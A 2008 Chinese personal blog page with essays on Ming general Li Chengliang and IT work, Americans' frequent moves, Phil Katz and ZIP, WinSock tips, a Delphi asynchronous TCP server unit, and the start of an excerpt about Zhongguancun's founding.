狐言乱语

生命它是一个月台,你来的目的是为了离开........
Redfox @ 2008-08-05 09:23

我朋友發在公司的內部網站的

戚继光是众所周知的一位民族英雄,几百年后仍然为人敬仰,然而在戚继光同时代里,还有一位大将军,当时他的光芒远远盖过戚继光,他就是李成梁大将军。李成梁镇守辽东近三十年,屡破强豪,力压各方北方游牧部落,立头功一万五千次,拓疆近千里。《明史》称“然边帅武功之盛,(明)两百年来所未有”。奇怪的是,时至今日,李成梁几乎被人遗忘,除了研究或者熟悉明史的人,没人知道他,这是为什么呢?
 
戚继光靠制度带兵,戚继光先在东南沿海抗击倭寇,立下赫赫战功,他训练新军,针对南方地形和对倭寇作战的特点,创造了攻防兼宜的“鸳鸯阵”战术。倭寇剿灭后,被调到北方戍边,扼制来自蒙古的威胁。他研究开发各种兵器与军事战术,形成了当时东亚第一流的战术和装备,以至他的军队成为近代热兵器和古代冷兵器的混合体,绝对能和当时欧洲军队有得一拼。  
 
戚继光对敌军采取一劳永逸的策略,力求进行毁灭性肃清,使敌军不敢再犯,以求长期巩固防线。北方平乱之后,竟十多年不见烽烟。对于一个帝国来讲,这是好事。但对于个人来讲,却绝对不是好事。因为长久没有战争,戚继光无战功可立,从而无法封侯晋爵;同时因为长久没有烽烟,戚继光的重要性也不复存在,慢慢被人忽视、遗忘,最后落寞而终。
 
而李成梁则完全不同,他在其镇守辽西的时候。他对付女真族的策略是:一方面以夷制夷,拉一个打一个;一方面给敌人留下后路,以便自己随时有仗可打,有功可立。结果,关外烽火不断,他的战功一再累积,爵位竟升至最高,成了朝廷不可或缺的栋梁,没有人不敬他三分。
 
多年来,李成梁打了无数的胜仗,多得或许连他自己都不记得了。但让人感到不明白的是,打了这么多胜仗,为什么总不能消除北境的忧患,这就是李成梁的狡诈的地方。李成梁犯下最大的罪过就是为明帝国培养了一个强大的对手:努尔哈赤,他扫除了所有强盛的部落,而惟独忽略了努尔哈赤。并且他非常有默契的为努尔哈赤崛起铺平道路,扫除障碍,努尔哈赤也照顾李成梁的面子,在他死后几个月才大举进攻明朝。所以说,李成梁是明帝国的罪人,是汉民族的罪人。
 
且不说李成梁的功过,单从他的做事方法上谈开,他为了立功,为了保住自己的地位,不惜挥霍人力和财力,制造麻烦,制造矛盾。这种做法,很多政治家在用,很多不是政治家的,也在用,一个组织内,一个公司内,这种做法,并不鲜见。
 
IT发展到现在,已经成为了一个成熟的产业,少了概念和泡沫,人们不再追捧IT技术,而是慢慢了解了IT的本质,于是,IT变得更重要了,也更低调了,更隐身了。就如电力和自来水一样,必须的,却容易被人忽略的。
 
这个时候,用什么来评定IT工程师的价值呢?你能说IT系统没有问题,IT人员都很悠闲就低估他们的价值吗?这无疑是短视和荒谬的,IT一直运转良好,正好说明IT工程师的价值,难道你希望IT系统出问题?灭火英雄值得赞扬,而那些把火势消灭在萌芽状态的人,是不是更值得表彰呢?
 
就如核武器弄出来是为了震慑,而不是真的丢几颗到地球上,一样的道理,高薪养着IT工程师,并不是让他们没日没夜的在解决问题,你要知道,公司里其他的部门人员并不希望IT人员一再的打饶他,他们更不希望自己一再的去求助IT人员,对他们来说,IT是透明的最好,平时工作离不开它,却不知道它的存在。
 
优秀的IT工程师构造的系统将是追求“一劳永逸”的,有极好的“界面友好性,稳定性,可配置性,可(自主)管理性,可扩展性…”。而糟糕的IT工程师,更容易整日忙碌,到处灭火,搞笑的是,却更多的被人记住和“感谢”。
 
优秀的IT人员其实有一条道路,可以让自己的价值彰显和最大化,随着系统的不断完善,IT人员可以成为一名“顾问”,由于IT人员对技术和业务的积累,他们有更权威的声音。公司决策者应该更好的利用这些资源,新业务的开展,新规则的实施,业务的重组和转型,一切的变化都离不开IT的支撑。
 
聪明的老板,更知道“戚继光”们的价值!


 
Redfox @ 2008-07-19 13:52

  這次去美國,看到勞倫斯又搬家了。這是我認識他以來他的第五次搬家。

  我是1997年認識勞倫斯的,11年來他搬了5次家,平均2年多點時間就搬一次家,真是夠頻的。

  美國人就是這樣,隨意搬家,不在乎搬家,甚至熱愛搬家。

  美國人剛參加工作時,由於收入不高,一般是租住小房子;收入高點了,就換租大點的房子;有條件供房了,再搬到自己買的房子裏;收入再增加了,把買的小房子賣掉再買大房子;再發達了,換到更好的社區更好的房子裏去;到老了,房子不會留給子女的,賣掉,再搬到老人公寓裏去頤養天年,去天堂以前把信用卡裏的美元都花光,沒准還透支呢。

  美國人換工作也比較頻,到另一個城市另一個州去,甚至從西海岸到東海岸去工作,在美國人看來是很簡單的事情。美國人的祖先最先從歐洲移民到北美時,就有一句著名的口號,"哪里有麵包,哪里就是祖國。"現代美國人繼承了這個精神,哪里生活好,哪里就是家園。美國有的企業招聘外地員工時,甚至給支付搬家費。

  美國人搬家的理由還多呢,哪個地方環境好哪個地方稅收少哪個地方學校好哪個地方本族裔人口多哪個地方稱心的餐館多,都會成為搬家的理由。據說美國人平均一生要搬十幾次家。

  美國人熱愛生活,熱愛家庭。人到了哪里,家就必須遷移到哪里。絕對不可能兩地生活,絕對不可以為了事業而不顧家庭的。房子可以換,家可以搬,就是夫妻不能分居,未成年的孩子不能分離。美國人絕對不理解中國民工一年只回一次家的境況,他們認為那樣太不人道了。

  可以肯定,如果有哪個威權總統敢發一個命令剝奪了美國人的遷徙自由,把類似中國的戶籍制度強塞給他們,美國人一定會彈劾他的,如果彈劾不成,一定會再打一次獨立戰爭或解放戰爭。

  問題是,美國沒有戶籍制度,美國人沒有戶口,也沒有派出所村委會居委會這樣的管理機構,他們這樣搬來搬去的,那社會不亂套了嗎?政府怎麼管理呀?

  我把這個問題提給勞倫斯。

  勞倫斯對“政府管理”這個概念很反感。他說,誰管理誰呀?政府不是管理公民的,是要為公民服務的,應當是公民管理政府。我每次搬家到一個新地方,都是政府或想進入政府的政客(競選議員或政府官員的人)上門來請我,一個新到來的公民,去管理他們,而不是他們來管理我。

  說的也是。在美國,沒有哪個政治家或官員敢認為自己是公民的領導、上級、管理者,也沒有哪個公民會買有這種意識的人的帳,想領導人民管理人民的人絕對沒有任何機會涉足政治領域,老老實實恭恭敬敬地為選民服務才有機會。

  美國公民每遷徙到一個新的地方,就自動成為了那裏的居民,自動地擁有了該地的管理地方政府的權利--選舉權和其他政治參與權利,自動的享受當地的社會福利待遇。不需要申請或批准,不需要辦理什麼戶籍手續。你只要在那個地方居住,即使時租住的房子,當地政府也會主動找到你,請你行使權利。比如做選民登記,做陪審團候選資格登記等。選舉時,候選人的競選班子會主動向你寄送競選資料,尋求你的支援和"管理"。

  問題是沒有戶籍制度,沒有戶口的轉入轉出,原居住地政府怎麼知道你這個“管理者”走了,新居住地的政府又怎麼知道有新"管理者"來了。特別是新政府怎麼知道你住在那裏,如何瞭解你的基本情況。你不去政府報到,政府怎麼找到你呀。

  勞倫斯告訴我,美國的各級政府是從DMV(機動車輛處)那裏獲得公民資訊的。在美國,幾乎所有的公民都有駕駛執照,美國關於駕駛執照的規定是,駕駛人員每到一個地方超過15天,就必須到DMV登記,否則會被視為持無效證件駕駛。所以,每個公民搬家了,會到DMV登記變更住所的資訊,這樣,DMV就有了有駕照人員流入流出的詳細資訊,當地政府也由此得到了本地居民的流入流出情況。

  在美國,駕照就是身份證,乘坐國內飛機要出示駕照,住賓館要出示駕照,凡是需要身份證明的地方都需要出示駕照。

  那麼,不會開車沒有駕照的人怎麼辦呢?比如一輩子都不開車的殘疾人,或者新移民來的老人等。這一類人就辦身份證。身份證也是到DMV去辦。在機動車輛處辦理身份證,而且身份證的樣子與駕照是一樣的。

  美國政府瞭解公民資訊的另一個管道是居民的社會保障記錄。在美國的所有合法居民,都有一個社會保障卡,社會保障號碼(也翻譯為社會安全號碼)是唯一的,是從生到死伴隨每個人一生的。一個人就業、開工資、繳納保險、繳稅和獲得所有的社會保障,都要依據這個號碼,這是美國人的福利保障的依據,是命根子。美國人每到一個新地方,都要到社會保障機構辦理住所變更手續,以便社會保障部門與自己的聯繫不中斷,給自己的資料能寄到,有好事情不漏掉自己。

  美國人挺自私,絕不大公無私。他們對國家和政府的定位是十分功利主義的。他們絕沒有建設一個偉大祖國的雄心壯志,也沒有振興美利堅民族的宏偉願望,更沒有為著後代的美好生活而犧牲今天自己的幸福的獻身精神。所以他們從來不認為人民需要一個強有力的領導來支配他們帶領他們走向未來。他們絕不會以繳稅的名義把錢交給另一部分人隨意支配。他們把政府看作是"一個人無法做的事情大家不得不湊份子請一些人來做的雇用者們"。政府是他們雇來為全體公民服務的,為全體公民謀取最現實的利益的。政府就是大家湊錢為大家辦事的。每個公民出錢了,湊份子了,不僅有權委託各級議會裏的議員們代表自己對如何花錢進行審查、批准和監督,而且還必須從交給政府的錢中拿回一塊,由政府以社會保障的形式回報給自己。公民交給政府的份子錢如何記錄?公民靠什麼領取回報?就是社會保障卡裏的記錄。

  所以,美國人的流動情況工作變動情況收入變化情況和繳稅繳費情況等都被一清二楚地隨時記錄著的。無論你到了哪里。

  駕照和社會保障卡使得世界上人口流動量最大的國家的人口流動情況被隨時清楚地掌握著。所以,社會不會失控。

  可能有人會說,掌握情況不等於有序。那麼多人說搬家就搬家說流動就流動,社會秩序能不亂嗎?大家都往大城市跑怎麼辦?都去經濟發達地區怎麼辦?人口流動不控制不管理不可能不亂套。

  但事實上美國沒有亂套,自由遷徙隨意遷徙甚至是愛好遷徙的美國一點都沒有亂套。其實,世界上有戶籍管理制度的國家只有區區三個國家,絕大多數國家是可以自由遷徙的,絕大多數國家都沒有亂套。

  為什麼呢?因為自由。在自由的領域裏,始終會有一隻"看不見的手"在起著調節的作用,自由總會比行政控制更有效更合理更自如地調節著供需的平衡,保證著不亂套。

  大家都往大城市擠,那裏的住房和物價就會提高,就業機會就會減少,准入的門檻就會越來越高。企業也會選擇到新的成本低的地區去發展,如此就會把人流引到新的地區。

  再比如荒涼的地方沒有人去,當地人自然就會想辦法吸引人。美國的內華達州大多是沙漠,工業農業的資源都不行。窮則思變,於是這個州的法律允許辦賭場,以賭為誘餌發展旅遊業。這個州有兩個著名的賭城,拉斯維加斯和里諾。其中拉斯維加斯是世界級的賭城。美國人在道德領域裏非常現實,既然賭博是客觀存在的,與其讓美國人去摩納哥的賭場送錢,還不如讓全世界的賭徒來美國送錢。如此,荒涼的沙漠裏建起了最熱鬧的都市,不僅賭博業旅遊業發展了,拉斯維加斯還成了商業會展中心。

  由此可見,政治上經濟上的自由是最有效的調節機制。保證不亂套的往往不是控制、管理和強制,而是自由,是老子的無為而治。從宏觀的角度思考,如果把人看作是自然的一部分,政治上和經濟上的自由主義本質上是自然主義,就是讓自然規律起作用的主義,而不是由人類的空想臆想幻想設想理想來限制人類的自由。

  自由挺好。


 
Redfox @ 2008-07-18 15:57

2000年4月14日,在美国威斯康星州密尔沃基的一家汽车旅馆里,人们发现了一具年轻人的尸体,检查得知这个人的死因是酗酒、饮酒过量导致的死亡。死者被发现的时候,手中还握着一个空酒瓶,房间中还有五个空酒瓶。这样一个酒徒的死也许在平时只是地方小报上的一条不起眼的新闻,但这个人的死却在互联网上掀起了轩然大波。无数人在网上发表评论与文章,纪念他的离开,寄托人们的哀思,因为他不是一个普通人,他叫菲利普·卡兹(Philip Katz),几乎全世界的每一台个人电脑上都有用他创造的压缩算法生成的文档,这种文档的后缀是“.zip”,这些文档的的开头都嵌有他姓名的字头缩写字母‘PK’。这位在全世界的电脑中留下痕迹的天才程序员终年仅37岁。
  在DOS时代就开始使用电脑的玩家可能都会记得,那时候的处理器速度与存储介质的容量与现在相比简直不可同日而语,为了COPY(拷贝)一个游戏我们常常要更换数张软盘。从那个时候起,我们认识了ZIP文件,在没有Windows的年代,使用字符界面和命令行方式压缩的程序主要有PKZIP和ARJ两种,直到过渡到Windows时代,WinZip的出现才使压缩软件的规格得到了统一。互联网上无数的文件都以“.zip”的格式进行存储,压缩文件使用户能在最短的时间里将文件从网上下载回自己的硬盘中,在没有宽带,连MODEM都仅仅是14.4K的速率的那个年代,ZIP文件为我们节省了大量的宝贵时间与金钱。但很少有人知道ZIP文件的由来,很少知道它的创造者菲利普·卡兹。
  在14年前,也就是公元1988年,那时候互联网还刚刚开始有了雏形,而最流行的是一种使用电话线拨号登陆别人在家里搭建的服务平台——交换信息的电子公告牌(BBS)系统。这种系统有些类似现在的论坛和新闻组,由于站长之间互相转信也成为了一个庞大的信息网络(惠多网)。老一点的玩家可能都有印象,在没有Internet的年代,中国大地上也曾有几十个这样的BBS存在,著名的字处理软件WPS的作者求伯君和CCED的作者朱崇君当年都是非常有名的个人站长。这种方式不但可以传递文本信息,也可以由用户上传文件到站点的计算机以供其他用户下载。由于电话线的接入速度慢的可怜,通过BBS传输较大文件实在是叫人痛苦的一件事。于是,使用文件压缩技术减小文件的体积并将多个文件压缩到一个封包中就成为了BBS用户的一项必须掌握的技巧。当时的美国BBS上,比较流行的是一种叫做ARC的压缩技术,由于它是一家商业公司开发的压缩技术,使用这种软件进行工作是需要付费的。那时候的菲利普·卡兹是一个沉迷于BBS上的毛头小伙,由于经常混迹于BBS上,对于ARC的收费非常不满的他自己开发了一个程序叫PKARC,这个程序于ARC完全兼容,可以压缩和解压缩ARC文件。这样一来,大批的ARC用户自然转而使用菲利普·卡兹的免费软件。ARC的制作公司一怒之下将菲利普·卡兹告上了法庭,法庭自然判决菲利普·卡兹禁止继续开发和传播PKARC。这种判决并没有磨灭菲利普·卡兹的斗志,而是激起了他要与ARC斗争到底的决心。在虚拟的世界中,自由、平等永远是真正的程序员永久的追求。他放弃了PKARC的开发,发誓要写出一款比ARC更好的压缩软件来打败ARC。这一场官司造就了一名编程天才的横空出世,也造就了一个后来在互联网时代的文件标准。几周以后,后来统治整个BBS世界乃至Internet世界的ZIP在菲利普·卡兹手中发出了第一声响亮的啼哭!
不名则已,一鸣惊人,这种名为PKZIP的程序可以将一个或多个文件压缩到一个后缀为“.zip”的文件中,无论从压缩比、压缩速度方面都超过了商业软件ARC。卡兹将PKZIP作为自由软件免费发放,使其如同草原上的星星之火般在全美的各大BBS上蔓延开来,用户以几何级数的增长,各大BBS的站长自发将原来使用ARC格式压缩的文件转换成ZIP格式,卡兹用他天才的头脑和顽强的毅力堂堂正正的击败了ARC,ARC的制作公司在PKZIP的强大攻势下很快就消声匿迹了。用自由软件打败商业公司的传奇故事很快传遍了整个BBS世界,疾恶如仇而又身手不凡的菲利普·卡兹如同数字世界的大侠般仗剑江湖,劫富济贫,以一人之力擎起了压缩软件的大旗。这段被人们津津乐道的传奇故事使菲利普·卡兹成为了很多热衷于编程的年轻人心中的偶像。此后卡兹一直继续着对PKZIP的开发和维护工作,PKZIP建立和统治了DOS时代的压缩标准。直到Windows的诞生,使用卡兹创造的压缩算法的软件Winzip的出现更使ZIP格式成为Internet的传输标准,ZIP压缩格式也成为压缩文档的事实标准。试问当今的电脑用户,谁敢说自己的电脑中没有ZIP文件?
        可惜,这位天才程序员却从未在ZIP身上得到半点好处,坚持信念的结果往往是潦倒的生活,糟糕的个人生活和长期编写软件的巨大压力使卡兹染上了酗酒的恶习,最终断送了他那年轻的生命。他为世界贡献了一个伟大的免费软件,更为重要的是他缔造了一种大众化的压缩格式,然而却过早地离开了这个世界。他的名字也许多年后会被人们忘怀,但他创造的ZIP将在网上生生不息的流传,他的名字缩写嵌在了全世界数以千万的电脑中,他的传奇故事将永远流传……



 
Redfox @ 2008-07-13 19:05

WinSock Tips
 
1. WSAEWOULDBLOCK 错误说明

在非锁定套接字上
函数名  说明
WSAAccept, accept  应用程序没有收到连接请求,再次调用,便可检查连接情况
closesocket  大多数情况下,这个错误意味着已随SO_LINGER选项一道调用了
setsockopt,而且已设定了一个非零的超时值
WSAConnect, connect 应用程序已初始化,再次调用,便可检查是否完成
WSARecv,recv 
WSARecvFrom, recvfrom 
没有收到数据,销后再次检查
WSASend, send
WSASendTo, sendto
外出数据无缓冲区可用,销后再试


2. FD_WRITE 触发条件

只有在三种条件下,才会发出 FD_WRITE 通知
. connect, WSAConnect ,一个套接字首次建立了连接
. accept, WSAAccept, 套接字被接受以后
. send, WSASend, sendto, WSASendTo操作失败,返回了 WSAEWOULDBLOCK 错误,而且缓冲
  再次变得可用时
 
 



 
Redfox @ 2008-07-08 21:55

发觉有时候写程序有点想当然,自以为某个API应该怎样
但事实上,有些 API 与自己想像中的不一样
比如关闭 socket, 以前我都是 shutdown 以后,马上就 closesocket
而这样的话,如果 shutdown 后马上 closesocket, 可能会不触发 WSAAsyncSelect 设定的消息


 
Redfox @ 2008-07-06 11:12

unit ServerSocketLite;

{******************************************************************************}
{  Unit Name   : ServerSocketLite.pas                                          }
{  Author      : RedFox /Foxbat  CopyRight (c)                                 }
{  E-mail      : foxbat123@126.com                                             }
{  Blog        : redsoft.yculblog.com                                          }
{  Baidu Hi    : redfox_hi                                                     }
{  Datetime    : 2008-05-03                                                    }
{  Version     : v1.1                                                          }
{  Description : ServerSocket Class Lite                                       }
{                                                                              }
{  History List                                                                }
{     1. 2008-05-03  Version 1.0                                               }
{     2. 2008-07-06  Version 1.1                                               } 
{******************************************************************************}

interface

uses
  Windows, Messages, WinSock2, SysUtils, Classes;

type
  {====================== TTcpServerLite forward define ======================}
  TTcpServerLite = class;

  {===================== TTcpClientLite =======================================}
  TTcpClientLite = class
  protected
    m_socket    : TSocket;
    m_saddr     : TSockAddr;
    m_serv      : TTcpServerLite;
    m_csSend    : TRTLCriticalSection;
    m_PeerIp    : string;
    m_PeerPort  : Word;
    m_Closing   : Boolean;
  public
    constructor Create(hsocket : TSocket; saddr : TSockAddr); virtual;
    destructor  Destroy; override;

    procedure Close; virtual;
    property  Server: TTcpServerLite read m_serv;
   
    function  Send(Buf: Pointer; BufLen :Integer): Boolean;
  end;

  {==================== Event Define ==========================================}
  TClientCloseEvent   = procedure(Sender: TObject; Client: TTcpClientLite) of object;
  TClientConnectEvent = procedure(Sender: TObject; Client: TTcpClientLite) of object;
  TClientRecvEvent    = procedure(Sender: TObject; Client: TTcpClientLite) of object;

  TTcpClientLiteClass = class of TTcpClientLite;

  {======================== TTcpServerLite ====================================}
  TTcpServerLite = class
  protected
    m_hWnd           : HWND;
    m_ListenSocket   : TSocket;
    m_Clients        : TList;
    m_ClientLock     : TRTLCriticalSection;
    m_Port           : Word;

    fOnClientClose   : TClientCloseEvent;
    fOnClientConnect : TClientConnectEvent;
    fOnClientRecv    : TClientRecvEvent;
    function getActive: Boolean;
  protected
    TcpClientClass : TTcpClientLiteClass;
    function  NewClient(hClient: TSocket; saddr : TSockAddr):Boolean;
    function  GetClient(hClient: TSocket): TTcpClientLite;
    procedure DelClient(sckt: TTcpClientLite);
   
    procedure DoClientClose(Client: TTcpClientLite); virtual;
    procedure DoClientConnect(Client: TTcpClientLite);   
    procedure DoClientRecv(Client: TTcpClientLite); virtual;

    procedure WndProc(var msg: TMessage);
  public
    constructor Create;
    destructor  Destroy; override;

    function  Open(nPort: Word):Boolean;
    procedure Close();
    property Active :Boolean read getActive;
    property Clients:TList read m_Clients;
    
    property OnClientClose: TClientCloseEvent read fOnClientClose write fOnClientClose;
    property OnClientRecv : TClientRecvEvent read fOnClientRecv write fOnClientRecv;
    property OnClientConnect: TClientConnectEvent read fOnClientConnect write fOnClientConnect; 
  end; 

 

implementation

const
  WM_SOCKET = WM_APP + 1;

{=========================== TTcpClientLite ==================================}

//--------------------------------------------------------------------------
// Close TcpClientLite Connection
procedure TTcpClientLite.Close;
begin
  if (not m_Closing) then
  begin
    shutdown(m_socket, SD_BOTH);
    closesocket(m_socket);
    m_Closing := true;
  end;
end;

//-------------------------------------------------------------------------
//  Create New TcpClientLite Object
//     hsocket   : socket handler
//     saddr     : Peer Socket Address
//     return    : New TcpClientLite Created
constructor TTcpClientLite.Create(hsocket: TSocket; saddr : TSockAddr);
begin
  m_socket  := hsocket;
  m_saddr   := saddr;
  m_PeerIp  := inet_ntoa(saddr.sin_addr);
  m_PeerPort:= ntohs(saddr.sin_port);
  m_Closing := False;
  InitializeCriticalSection(m_csSend);
  inherited Create();
end;

destructor TTcpClientLite.Destroy;
begin
  Close;
  DeleteCriticalSection(m_csSend);
  inherited;
end;

//-----------------------------------------------------------------------
// Send Data from TcpClientLite to Peer, Thread safed
//    Buf     : Data Pointer for send
//    BufLen  : Data length want to send
//    return  : true -- Success
function TTcpClientLite.Send(Buf: Pointer; BufLen: Integer): Boolean;
var
  nSend : Integer;
  pData : PChar;
begin

  EnterCriticalSection(m_csSend);
  pData := Buf;
  try
    while BufLen > 0 do
    begin
      nSend := WinSock2.send(m_socket, pData^, BufLen, 0);

      if (nSend = SOCKET_ERROR) then
      begin
        if  (WSAGetLastError() = WSAEWOULDBLOCK) then
        begin
          Sleep(5);
          Continue;
        end
        else begin
           Result    := False;
           m_Closing := True;
           Exit;
        end;
      end;
      Inc(pData, nSend);
      Dec(BufLen, nSend);     
    end;
    Result := true;
  finally
    LeaveCriticalSection(m_csSend);
  end;
end;


{================================= TTcpServerLite ============================}

procedure TTcpServerLite.Close;
var
  i : Integer;
  sckt: TTcpClientLite;
begin
  if not Active then Exit;

  WSAAsyncSelect(m_ListenSocket, m_hWnd, WM_SOCKET, 0);
  shutdown(m_ListenSocket, SD_BOTH);
  closesocket(m_ListenSocket);
  m_ListenSocket := INVALID_SOCKET;

  // Clear Client List
  EnterCriticalSection(m_ClientLock);
  try
    for i := 0 to m_Clients.Count -1 do
    begin
      sckt := TTcpClientLite(m_Clients.Items[i]);
      WSAAsyncSelect(sckt.m_socket, m_hWnd, WM_SOCKET, 0);
      sckt.Close;
      DoClientClose(sckt);
      sckt.Free;
    end;

    m_Clients.Clear;
  finally
    LeaveCriticalSection(m_ClientLock);
  end;
end;


constructor TTcpServerLite.Create;
var
  wsData : TWSAData;
begin
  ZeroMemory(@wsData, SizeOf(TWSAData));
  WSAStartup(2, wsData);
  m_ListenSocket := INVALID_SOCKET;

  m_Clients := TList.Create;
  InitializeCriticalSection(m_ClientLock);

  TcpClientClass := TTcpClientLite;

  m_hWnd := AllocateHWnd(WndProc);
  inherited Create;
end;

 

procedure TTcpServerLite.DelClient(sckt: TTcpClientLite);
begin
  EnterCriticalSection(m_ClientLock);
  try
    m_Clients.Remove(sckt);
    sckt.Free;
  finally
    LeaveCriticalSection(m_ClientLock);
  end;
end;

destructor TTcpServerLite.Destroy;
begin
  Close;
  m_Clients.Free;
  DeleteCriticalSection(m_ClientLock);

  DeallocateHWnd(m_hWnd);
  WSACleanup;
  inherited;
end;

procedure TTcpServerLite.DoClientClose(Client: TTcpClientLite);
begin
  if Assigned(fOnClientClose) then
     fOnClientClose(self, Client);

end;

procedure TTcpServerLite.DoClientConnect(Client: TTcpClientLite);
begin
  if Assigned(fOnClientConnect) then
     fOnClientConnect(self, Client);
end;

procedure TTcpServerLite.DoClientRecv(Client: TTcpClientLite);
begin
  if Assigned(fOnClientRecv) then
     fOnClientRecv(Self, Client);
end;

function TTcpServerLite.getActive: Boolean;
begin
  Result := m_ListenSocket <> INVALID_SOCKET;
end;

//--------------------------------------------------------------------
// Find Client Object from ClientList by Socket Handle
//    hClient : Client Object Socket Handle
//    return  : Client Object maybe null
function TTcpServerLite.GetClient(hClient: TSocket): TTcpClientLite;
var
  i : Integer;
  sckt: TTcpClientLite;
begin
  Result := nil;
  EnterCriticalSection(m_ClientLock);
  try
    for i := 0 to m_Clients.Count -1 do
    begin
      sckt := TTcpClientLite(m_Clients[i]);
      if (sckt <> nil) and (sckt.m_socket = hClient) then
      begin
        Result := sckt;
        Exit;
      end;
    end;
  finally
    LeaveCriticalSection(m_ClientLock);
  end;
end;


//-----------------------------------------------------------------
// Create New Client Object and add to ClientList
//
function TTcpServerLite.NewClient(hClient: TSocket; saddr: TSockAddr):Boolean;
var
  Client : TTcpClientLite;
begin
  Result := false;
  Client := TcpClientClass.Create(hClient, saddr);
  Client.m_serv := Self;
  EnterCriticalSection(m_ClientLock);
  try
    m_Clients.Add(Client);
  finally
    LeaveCriticalSection(m_ClientLock);
  end;

  DoClientConnect(Client);
  WSAAsyncSelect(Client.m_socket, m_hWnd, WM_SOCKET, FD_READ or FD_CLOSE);
 
  Result := True;
end;

//----------------------------------------------------------------------
//  Open Tcp Port to Listen
//     nPort  : Listen Port, if nPort = 0 then Randmoze Port
//
function TTcpServerLite.Open(nPort : Word): Boolean;
var
  saddr   : TSockAddr;
  nameLen : Integer;
begin
  Result := False;
 
  if Active then Close;

  m_ListenSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  if m_ListenSocket = INVALID_SOCKET then
  begin
    OutputDebugString('TTcpServerLite.Open: socket error!!!');
    Exit;
  end;

  ZeroMemory(@saddr, SizeOf(TSockAddr));
  saddr.sin_family := AF_INET;
  saddr.sin_port   := htons(nPort);

  if bind(m_ListenSocket, @saddr, SizeOf(TSockAddr)) = SOCKET_ERROR then
  begin
    OutputDebugString('TTcpServerLite.Open: bind error!!!');
    Exit;
  end;

  if listen(m_ListenSocket, 5) = SOCKET_ERROR then
  begin
    OutputDebugString('TTcpServerLite.Open: listen error!!!');
    Exit;
  end;

  if nPort = 0 then
  begin
    getsockname(m_ListenSocket, saddr, nameLen);
    m_Port := ntohs(saddr.sin_port);
  end
  else
    m_Port := nPort;

  WSAAsyncSelect(m_ListenSocket, m_hWnd, WM_SOCKET, FD_ACCEPT);

  Result := True;
end;


//-------------------------------------------------------------------
// Socket Message Process
//
procedure TTcpServerLite.WndProc(var msg: TMessage);
var
  sckt    : TTcpClientLite;
  nErr    : Word;
  nEvt    : Word;
  saddr   : TSockAddrIn;
  addrLen : Integer;
  hClient : TSocket; 
begin
  case msg.Msg of
    WM_SOCKET:
      begin
        nErr := HiWord(msg.LParam);
        nEvt := loWord(msg.LParam);

        case nEvt of
          FD_ACCEPT:
             begin
               ZeroMemory(@saddr, SizeOf(TSockAddrIn));
               addrLen := SizeOf(TSockAddrIn);
               if (nErr <> 0) then Exit;
               hClient := accept(m_ListenSocket,saddr, addrLen);
               if hClient <> INVALID_SOCKET then
               begin
                 self.NewClient(hClient, saddr);
               end;
             end;
            
          FD_READ:
             begin
               hClient := msg.WParam;
               if nErr <> 0 then Exit;
               sckt := GetClient(hClient);
               WSAAsyncSelect(sckt.m_socket, m_hWnd, WM_SOCKET, 0);
               //WSAAsyncSelect(sckt.m_socket, m_hWnd, WM_SOCKET,FD_WRITE or FD_CLOSE);
               Self.DoClientRecv(sckt);
               if sckt.m_Closing then
               begin
                 DoClientClose(sckt);
                 DelClient(sckt);
               end
               else
                 WSAAsyncSelect(sckt.m_socket, m_hWnd, WM_SOCKET, FD_READ or FD_CLOSE);
             end;

          FD_CLOSE:
             begin
               hClient := msg.WParam;
               if nErr <> 0 then Exit;
               sckt := GetClient(hClient);
               WSAAsyncSelect(sckt.m_socket, m_hWnd, WM_SOCKET, 0);
               sckt.Close;
               Self.DoClientClose(sckt);
               DelClient(sckt);
             end;
        end;
      end;
    else begin
      msg.Result := DefWindowProc(m_hWnd, msg.Msg, msg.WParam, msg.LParam);
    end;
  end;
end;

end.

{*******************************************************************
欢迎大家提意见
2008-07-13 补记
代码我发到了 csdn 论坛,与多位高手讨论之后,指出代码中的不足之处。
1. 服务端的连接管理,最好用 Hash 表来做,这样在有数据收到时就不会锁定,且整表搜索
2. TTcpClientLite 最好加一个 recv 函数
3. WndProc ,关于事件的判断最好用 if then 而不要用 case
4. 关于 TTcpClientLite.Send 函数,需要加入一个超时设定,错误多少次,就认为连接被断开了
********************************************************************}




 
Redfox @ 2008-06-20 16:29

作者:吴晓波

2004年8月9日,陈春先去世,两天前,他刚刚过了70岁的生日。即便是中关村的人,也没有几个还记得他的名字了,“遗忘”是这部中国企业史最重要的特征之一。

1980年10月,中国最顶尖的核聚变专家、46岁的中国科学院物理所研究员陈春先从美国考察回来,这已经是他两年里第三次访问美国了,这几次出国让他印象最深的倒还不是美国同行的学术进步,而是那个国家在技术产业化上的扩散能力。他每次都会去两个地方,一是西部的硅谷,还有就是东部的波士顿“128号公路”。走在那两条房屋低矮、丛木葱绿的狭长地带,他突然萌生了一股从来没有过的激情。陈春先是当时国内最有前途的新生代科学家,在1978年,中科院评聘了改革开放后的第一批教授级研究员,一共只有10人,陈春先与后来成为“时代偶像”的数学家陈景润一起在榜。而此次的硅谷之旅却彻底地改变了他的人生。

回国后,他向上级写报告提出,中国应该建设自己的“硅谷”,他写道,“美国高速度发展的原因在于技术转化为产品特别快,科学家和工程师有一种强烈的创业精神,总是急于把自己的发明、专有技术和知识变成产品,自己去借钱,合股开工厂。”在他的方案中,甚至已经圈定了“中国硅谷”的地点,那就是他工作所在的中关村。

中关村真是北京城北面的一个小村庄的名字。1949年以前,这里是一个有70户住家、276口人的自然小村,周边的坟地占了土地的30%多。1952年,中国科学院定址于此,再一年,燕京大学与北京大学合并,又在这个小村的北部形成一个教研院区。日后,中关村一带先后建起了中科院的几个重点研究所和大面积的员工宿舍,成为科研人员聚集度很高的一个区域。陈春先在报告中说,“我们在中关村工作了20多年,这里的人才密度绝不比旧金山和波士顿地区低,素质也并不差,我总觉得有很大的潜力没有挖出来。”

